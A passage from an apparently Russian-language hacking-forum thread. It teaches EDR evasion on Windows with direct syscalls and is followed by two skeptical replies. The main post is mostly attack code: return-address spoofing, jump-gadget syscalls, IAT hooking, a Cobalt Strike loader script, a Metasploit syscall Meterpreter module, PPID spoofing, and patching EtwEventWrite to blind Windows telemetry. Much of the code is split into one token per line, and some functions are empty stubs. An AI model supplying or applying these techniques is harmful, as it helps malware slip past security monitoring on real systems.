// Подменяем возвращаемый адрес
push fakeReturnAddress
// Кладём поддельный адрес возврата
// Вызов
mov eax
,
ssn
        syscall
// После syscall мы вернёмся не сюда, а в ntdll
// Поэтому следующий код не выполнится напрямую
add rsp
,
8
// Чистим fakeReturnAddress из стека
mov status
,
eax
       
        pop rdi
        pop rsi
        pop rbx
}
return
status
;
}
Важно: Этот метод требует глубокого понимания работы стека. Неправильная манипуляция со стеком приведёт к краху.

Решение 2: Jump Oriented Syscall (JOP)

Вместо прямого вызова syscall, мы используем цепочку jmp-гаджетов внутри ntdll.dll, которая в итоге приведёт к выполнению syscall.

C:


Код:
PVOID
FindSyscallGadget
(
)
{
// Ищем в ntdll.dll последовательность:
// jmp [mem]  или  call [mem], которая ведёт на syscall
// Или даже: mov eax, SSN; jmp [адрес_с_syscall]
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
PBYTE base
=
(
PBYTE
)
hNtdll
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
base
+
(
(
PIMAGE_DOS_HEADER
)
base
)
->
e_lfanew
)
;
DWORD textSize
=
ntHeaders
->
OptionalHeader
.
SizeOfCode
;
PBYTE textStart
=
base
+
ntHeaders
->
OptionalHeader
.
BaseOfCode
;
for
(
DWORD i
=
0
;
i

e_lfanew
)
;
PIMAGE_IMPORT_DESCRIPTOR importDesc
=
(
PIMAGE_IMPORT_DESCRIPTOR
)
(
(
PBYTE
)
module
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_IMPORT
]
.
VirtualAddress
)
;
for
(
;
importDesc
->
Name
;
importDesc
++
)
{
if
(
_stricmp
(
(
char
*
)
module
+
importDesc
->
Name
,
"KERNEL32.dll"
)
==
0
)
{
PIMAGE_THUNK_DATA thunk
=
(
PIMAGE_THUNK_DATA
)
(
(
PBYTE
)
module
+
importDesc
->
FirstThunk
)
;
for
(
;
thunk
->
u1
.
Function
;
thunk
++
)
{
if
(
(
ULONG_PTR
)
thunk
->
u1
.
Function
==
(
ULONG_PTR
)
GetProcAddress
(
GetModuleHandleA
(
"kernel32.dll"
)
,
"VirtualAlloc"
)
)
{
// Заменяем адрес на нашу функцию
DWORD oldProtect
;
VirtualProtect
(
&
thunk
->
u1
.
Function
,
sizeof
(
ULONG_PTR
)
,
PAGE_READWRITE
,
&
oldProtect
)
;
thunk
->
u1
.
Function
=
(
ULONG_PTR
)
MyVirtualAlloc
;
VirtualProtect
(
&
thunk
->
u1
.
Function
,
sizeof
(
ULONG_PTR
)
,
oldProtect
,
&
oldProtect
)
;
}
}
}
}
}
#endif
[*]Пересоберите артефакты.[/LIST]Б. Aggressor Script для динамической подгрузки:

C:


Код:
// syscall_loader.cna
sub syscall_load
{
local
(
'$handle $data $offset $length'
)
;
# Читаем RAW бинарный файл с прямыми syscall
    $handle
=
openf
(
script_resource
(
"syscall.bin"
)
)
;
$data
=
readb
(
$handle
,
-
1
)
;
closef
(
$handle
)
;
# Загружаем в Beacon
    $offset
=
0
;
$length
=
strlen
(
$data
)
;
while
(
$offset

generate implant --os windows --arch amd64 --format shellcode --syscalls
Кастомизация импланта:
  1. Исходный код Sliver открыт. Можно модифицировать implant/sliver/syscalls/syscall_windows.go.
  2. Добавить свои методы обфускации на Go :

Код:


Код:
// В syscall_windows.go
type SyscallWrapper struct {
    SSN         uint16
    GadgetAddr  uintptr
    Obfuscated  bool
}

func (s *SyscallWrapper) Call(args ...uintptr) uintptr {
    if s.Obfuscated {
        return s.CallObfuscated(args...)
    }
    return s.CallDirect(args...)
}

func (s *SyscallWrapper) CallObfuscated(args ...uintptr) uintptr {
    // Реализация обфусцированного вызова
    // 1. Перемешивание регистров
    // 2. Добавление мусорных инструкций
    // 3. Использование jump gadgets
    return 0
}
8.3. Metasploit: Пользовательские расширения
Для Metasploit можно написать кастомный пейлод на Ruby:

Ruby:


Код:
# modules/payloads/windows/x64/syscall_meterpreter.rb
module
MetasploitModule
include
Msf
:
:
Payload
:
:
Windows
:
:
SyscallMeterpreter
def
initialize
(
info
=
{
}
)
super
(
update_info
(
info
,
'Name'
=
>
'Windows x64 Syscall Meterpreter'
,
'Description'
=
>
'Meterpreter payload using direct syscalls'
,
'Author'
=
>
[
'null_ptr'
]
,
'Platform'
=
>
'win'
,
'Arch'
=
>
ARCH_X64
,
'PayloadCompat'
=
>
{
'Convention'
=
>
'sockrdi'
}
)
)
end
def
generate
(
opts
=
{
}
)
# Генерация shellcode с прямыми syscall
shellcode
=
super
# Добавляем шифрование строк
encrypt_strings
(
shellcode
)
# Добавляем обфускацию
obfuscate_syscalls
(
shellcode
)
shellcode
end
end
8.4. Собственный фреймворк: почему бы и нет
Если вы серьёзно занимаетесь red team, рано или поздно приходите к созданию своего инструмента. Преимущества:
  • Полный контроль над всеми компонентами.
  • Нет публичных сигнатур.
  • Возможность тонкой настройки под каждую операцию.
Структура минимального фреймворка:

Код:


Код:
/redframework
  /syscalls
    resolver.c      # Динамический поиск SSN
    gate.c          # Hell's/Halo's Gate реализации
    obfuscator.c    # Обфускация вызовов
  /injection
    apc.c           # APC инжекция
    thread.c        # Создание потоков
    map.c           # Manual map DLL
  /evasion
    etw.c           # Отключение ETW
    callback.c      # Работа с kernel callbacks
    ppid.c          # PPID spoofing
  /payloads
    meterpreter.c   # Адаптер для Meterpreter
    cobaltstrike.c  # Адаптер для Cobalt Strike
    custom.c        # Собственные payloads
  /communication
    http.c          # HTTP коммуникация
    dns.c           # DNS туннелирование
    smb.c           # SMB канал
9. Дебри ядра: когда userland-сисколлов недостаточно.
9.1. Kernel Callbacks - ахиллесова пята EDR
EDR используют kernel callbacks для получения уведомлений о событиях. Основные типы:
  1. Process Creation (PsSetCreateProcessNotifyRoutineEx) - создание процесса.
  2. Thread Creation (PsSetCreateThreadNotifyRoutine) - создание потока.
  3. Image Load (PsSetLoadImageNotifyRoutine) - загрузка образа (DLL/EXE).
  4. Registry (CmRegisterCallback) - операции с реестром.
  5. File System (MiniFilter) - операции с файлами.
  6. Object Manager (ObRegisterCallbacks) - работа с объектами (процессы, потоки).
Обход через удаление callback'ов:

Теоретически можно найти и удалить callback'и EDR из соответствующих массивов в ядре. Но это:
  1. Требует прав администратора (а часто и отключенного DSE).
  2. Крайне нестабильно (может вызвать BSOD).
  3. Легко детектируется самим EDR (проверка целостности своих callback'ов).
Более изящный метод: подмена контекста

Вместо удаления callback'ов, можно сделать так, чтобы ваши действия выглядели легитимными:

C:


Код:
// Подмена Parent Process ID (PPID Spoofing)
BOOL
SpoofParentProcess
(
DWORD targetPid
)
{
PROCESS_BASIC_INFORMATION pbi
;
NTSTATUS status
=
NtQueryInformationProcess
(
GetCurrentProcess
(
)
,
ProcessBasicInformation
,
&
pbi
,
sizeof
(
pbi
)
,
NULL
)
;
// Меняем InheritedFromUniqueProcessId в PEB целевого процесса
HANDLE hTarget
=
OpenProcess
(
PROCESS_VM_WRITE
|
PROCESS_VM_OPERATION
,
FALSE
,
targetPid
)
;
PPEB remotePeb
;
status
=
NtQueryInformationProcess
(
hTarget
,
ProcessBasicInformation
,
&
pbi
,
sizeof
(
pbi
)
,
NULL
)
;
remotePeb
=
pbi
.
PebBaseAddress
;
// Записываем новый PPID (например, explorer.exe)
DWORD newPpid
=
GetProcessIdByName
(
"explorer.exe"
)
;
WriteProcessMemory
(
hTarget
,
&
remotePeb
->
ProcessParameters
->
ParentProcessId
,
&
newPpid
,
sizeof
(
newPpid
)
,
NULL
)
;
CloseHandle
(
hTarget
)
;
return
TRUE
;
}
9.2. ETW и ETWTI: как закрыть рот системе
Event Tracing for Windows (ETW) - основной источник информации для EDR. Особенно опасен ETW Threat Intelligence (ETWTI), который логирует syscall.

Методы нейтрализации ETW:

А. Патчинг ntdll!EtwEventWrite:


C:


Код:
BOOL
PatchETW
(
)
{
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
if
(
!
hNtdll
)
return
FALSE
;
FARPROC pEtwEventWrite
=
GetProcAddress
(
hNtdll
,
"EtwEventWrite"
)
;
if
(
!
pEtwEventWrite
)
return
FALSE
;
DWORD oldProtect
;
if
(
!
VirtualProtect
(
pEtwEventWrite
,
1
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
)
{
return
FALSE
;
}
// Патчим на ret (0xC3) или ret 0 (0xC2 0x00 0x00)
#ifdef _WIN64
// Для x64: mov eax, 0; ret
BYTE patch
[
]
=
{
0xB8
,
0x00
,
0x00
,
0x00
,
0x00
,
0xC3
}
;
#else
// Для x86: xor eax, eax; ret
BYTE patch
[
]
=
{
0x33
,
0xC0
,
0xC3
}
;
#endif
memcpy
(
pEtwEventWrite
,
patch
,
sizeof
(
patch
)
)
;
VirtualProtect
(
pEtwEventWrite
,
1
,
oldProtect
,
&
oldProtect
)
;
return
TRUE
;
}
Б. Отключение ETW через Patching в памяти процесса:

Более скрытный метод - найти структуры ETW в памяти и "испортить" их.

C:


Код:
typedef
struct
_ETW_REG_ENTRY
{
LIST_ENTRY RegList
;
PVOID Unknown
[
4
]
;
PVOID Callback
;
// Функция callback
}
ETW_REG_ENTRY
,
*
PETW_REG_ENTRY
;
BOOL
DisableETWTracing
(
)
{
// 1. Находим EtwNotificationRegister в ntdll
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
PVOID pEtwNotificationRegister
=
GetProcAddress
(
hNtdll
,
"EtwNotificationRegister"
)
;
// 2. Ищем в её коде ссылки на глобальную переменную со списком регистраций
// (Это требует реверс-инжиниринга и сильно зависит от версии Windows)
// 3. Обходим список и зануляем Callback или меняем на свою заглушку
return
TRUE
;
}
В. Использование недокументированных функций:

C:


Код:
// NtTraceControl может использоваться для управления ETW
typedef
NTSTATUS
(
NTAPI
*
pNtTraceControl
)
(
ULONG FunctionCode
,
PVOID InBuffer
,
ULONG InBufferLen
,
PVOID OutBuffer
,
ULONG OutBufferLen
,
PULONG ReturnLength
)
;
BOOL
DisableETWViaTraceControl
(
)
{
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
pNtTraceControl NtTraceControl
=
(
pNtTraceControl
)
GetProcAddress
(
hNtdll
,
"NtTraceControl"
)
;
// FunctionCode = 0x1D (EVENT_TRACE_CONTROL_STOP) для остановки сессии
// Нужно знать SessionHandle
// Это сложно и требует реверса
return
FALSE
;
}
9.3. Минусы работы в ядре
  1. Стабильность: Любая ошибка в ядре = BSOD (синий экран).
  2. Детект: PatchGuard (Kernel Patch Protection) в Windows 64-bit детектирует модификации критичных структур ядра.
  3. Подпись драйверов: Требуется подписанный драйвер (или отключенный DSE), что сложно в современных системах.
  4. Античитинг: EDR могут иметь свои драйверы, которые мониторят целостность ядра.
Рекомендация: Для большинства red team операций достаточно userland техник. К ядру стоит обращаться только в особых случаях и при наличии глубоких знаний.

Заключительные слова
Прямые системные вызовы - это не серебряная пуля, а один из многих инструментов в арсенале. Ключ к успеху - не в использовании самой сложной техники, а в правильном применении подходящей техники в нужное время.

Помните: наша цель как специалистов по безопасности - понимание систем. С этим пониманием приходит возможность и защищать, и атаковать. Выбор за вами.

Оставайтесь любопытными. Оставайтесь этичными. Оставайтесь в тени.
 
Ответить с цитированием

  #2  
Старый 20.01.2026, 22:32
Ахимов
Новичок
Регистрация: 21.12.2025
Сообщений: 0
С нами: 210647

Репутация: 0
По умолчанию

Нет никакого смысла в прямых сисколах. Можно взять оригинальную кодовую секцию ntdll/user, что делает ненужным лезть во всякие [S]тяжкие[/S] интернал, изменяющийся в версиях.
 
Ответить с цитированием

  #3  
Старый 22.01.2026, 14:50
Gemfory
Новичок
Регистрация: 03.01.2026
Сообщений: 0
С нами: 192549

Репутация: 0
По умолчанию

Прямой сискол давно не обходит EDR.
И во вторых, асмо-вставки на x64 MSVC давно отключены.

EDR давно работает с обработчиком KiSystemCall который принимает все вызовы syscall из UM.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.